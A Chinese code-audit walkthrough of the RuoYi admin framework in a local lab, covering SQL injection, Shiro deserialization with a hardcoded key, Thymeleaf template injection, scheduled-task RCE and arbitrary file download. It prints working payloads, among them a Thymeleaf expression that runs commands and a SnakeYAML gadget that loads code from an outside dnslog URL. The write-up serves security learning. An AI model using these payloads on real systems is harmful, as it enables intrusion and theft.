当前位置: 首页 > news >正文

网站建设九亭网创项目平台

网站建设九亭,网创项目平台,p2p网站建设教程,杭州响应式网站建设环境布置: 到官网下载源码:https://github.com/yangzongzhuan/RuoYi 采用phpstudy集成数据库,5.7版本。JDK1.8。 IDEA打开项目,等待自动加载,修改application-druid.yml配置文件:数据库名,账…

环境布置:

到官网下载源码:https://github.com/yangzongzhuan/RuoYi

采用phpstudy集成数据库,5.7版本。JDK1.8。

IDEA打开项目,等待自动加载,修改application-druid.yml配置文件:数据库名,账号密码,连接数据库,修改application.yml中的端口,避免与80端口冲突。

导入:quartz.sql与ry_20201214.sql文件。

运行RuoYiApplication文件。

访问后台:http://localhost:25001/login

Sql注入漏洞:

由于该项目采用了mybatis开发,常见的找sql注入的方法就是全局搜索${

定位到可疑参数:

根据id值selectRoleList全局搜索,从xml定位到dao层:

右键单击,找该接口的使用,在使用处发现selectRoleList方法,全局搜索该方法,定位controller层查看接口与传参:

如下,定位到controller层:

分析代码:首先以@RequiresPermissions注解表明接口访问权限,再以@PostMapping注解表明接收接口,并且以@ResponseBody注解表明回将返回值写入http响应。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

此方法会接收一个SysRole类型的role值,并且将接受的role值以selectRoleList方法处理后返回给list,最后返回给http响应。

于是我们现在需要分析

1:role对象在接收它的参数时是否有过滤,

2:selectRoleList方法在处理role接收后的值是否有过滤。

跟进SysRole类,发现无过滤:

跟进selectRoleList方法,发现无过滤:

于是确定原dataScope参数存在sql注入,到前端功能找对应数据包。

发现不存在dataScope参数,手动添加:

将localhost换成主机IP,放入sqlmap验证

Shiro反序列化:

首先查看项目pom文件,发现shiro版本为1.7.0:

全局搜索cipherKey,定位到密钥值:

由此结合shiro反序列化利用工具利用。

Shiro未授权访问:

查看shiro配置文件ShiroConfig.java,anon
为匿名拦截器,不需要登录就能访问。authc
为登录拦截器,需要登录认证才能访问。

Thymeleaf模板注入:

本框架采用了 Thymeleaf 模板,全局搜索::

根据Mapping构造路径,发送poc

fragment=__*%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

计划任务RCE:

如图添加计划任务

将调用目标字符修改如下:

org.yaml.snakeyaml.Yaml.load(\'!!javax.script.ScriptEngineManager
\[!!java.net.URLClassLoader \[\[!!java.net.URL
\[\"http://w2h0ib.dnslog.cn\"\]\]\]\]\')

调用执行:

dnslog出现响应:

任意文件下载漏洞:

继续如上创建定时任务:

ruoYiConfig.setProfile(\'/home/clown/Project/RuoYi-v4.6.0/ruoyi-admin/src/main/resources/application.yml\')

执行后访问如下路径实现文件下载:

/common/download/resource?resource=.zip

跟踪下载路径定位代码:

该处代码先接收resource的值,再将该值放入checkAllowDownload方法里面校验后,进入下载文件的代码调用。

于是跟进checkAllowDownload方法:

发现该方法主要做了两件事:

1:禁止掉resource中的目录穿越…/

2:以白名单形式检查文件下载规则

这里主要跟进一下2的代码:

取点后缀:

再以点后缀进行白名单匹配:

如果在原controller层if判断为假,进入下载文件代码流程:

至此可发现下载文件的路径不可控,且类型存在白名单限制!

此时我们继续跟进本地资源路径的代码:

我们可以发现本地资源路径是通过getProfile进行获取,且该RuoYiConfig类存在setProfile方法,由此可知,可以通过计划任务调用该类的setProfile方法设置好路径,直接绕过了前面的if过滤:

之后即可调用/common/download/resource接口任意下载文件。

http://www.yayakq.cn/news/937623/

相关文章:

  • 做杂志的模板下载网站创建自己的网站有什么用
  • 辽宁网站建设公司电话计算机培训班价格
  • centos 网站开发工具黄骅住房和城乡建设局网站
  • 专门做五金的网站soso搜搜
  • 律师事务所网站建设网站建设验收使用情况
  • 网站建立的方式是什么宁波网站建设企业网站制作
  • 如何建设一个双语的网站wordpress用什么写的
  • 网站敏感目录漏洞修复比亚迪新能源汽车车型
  • 接做网站需要问什么软件在线写作网站
  • 淘宝做推广网站百度应用商店
  • 400网站推广电子商务网站系统建设进度安排
  • 徐州专业三合一网站开发wordpress静态连接选择
  • 宿州哪有做网站的wordpress 4.8上传漏洞
  • 网上购物都有哪些网站公司网公司网页设计制作
  • 南宁制作网站的公司企业网站建设的平台
  • html静态网站模板个人网站 百度推广
  • 余姚做网站设计的网站建设手机银行限额
  • 建设报名系统网站怎么查网站是不是正规
  • 怎么做钓鱼网站吗wordpress页面专题
  • 云服务器放网站快么1688货源网登录
  • 佛山网站优化运营网站建设腾讯云与阿里云
  • 网站 建设 步骤中国设计网怎么样
  • 广州服装网站建设网站一键收录
  • 网站建设亿玛酷信赖做网站开发app
  • 无锡市无锡市住房和城乡建设局网站泰安做百度推广的公司
  • 网站开发与设计是什么爱站关键词搜索
  • 比格设计网站官网北京哪个公司做网站
  • 网站建设架构细节自助网站推广系统
  • 网站建设正规公司营销方案怎么写?
  • 手机网站做网站的技术盏